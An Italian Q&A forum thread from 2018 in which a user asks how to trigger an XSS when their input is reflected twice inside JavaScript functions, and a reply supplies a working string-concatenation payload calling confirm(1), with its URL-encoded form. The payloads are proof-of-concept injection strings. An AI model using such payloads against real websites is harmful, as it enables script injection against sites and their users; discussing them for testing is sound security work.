Attivare un XSS quando il payload appare due volte?

0

Ho trovato una vulnerabilità XXS, ma non sono in grado di sfruttarla. Il mio input, 66038');}confirm(1);/* , appare due volte. L'idea era di chiudere la funzione foo1() e attivare confirm(1) . Ma foo2 è il problema. Non è possibile inizializzare foo_var con lo stesso carico utile. Il carattere ) è il problema. Qualche idea?

function foo1(){

    if('EUR66038');}confirm(1);/* != 'blabla'



 /*
    Some comments
   */


function foo2()
{
    var foo_var= 'EUR66038');}confirm(1);/* //Comment
...
    
posta aaa bbb 04.12.2018 - 21:19
fonte

1 risposta

1

Il seguente carico utile funzionerà:

EUR66038'+confirm(1)+'820

Versione codificata:

EUR66038%27%2Bconfirm(1)%2B%27820
    
risposta data 05.12.2018 - 06:30
fonte

Leggi altre domande sui tag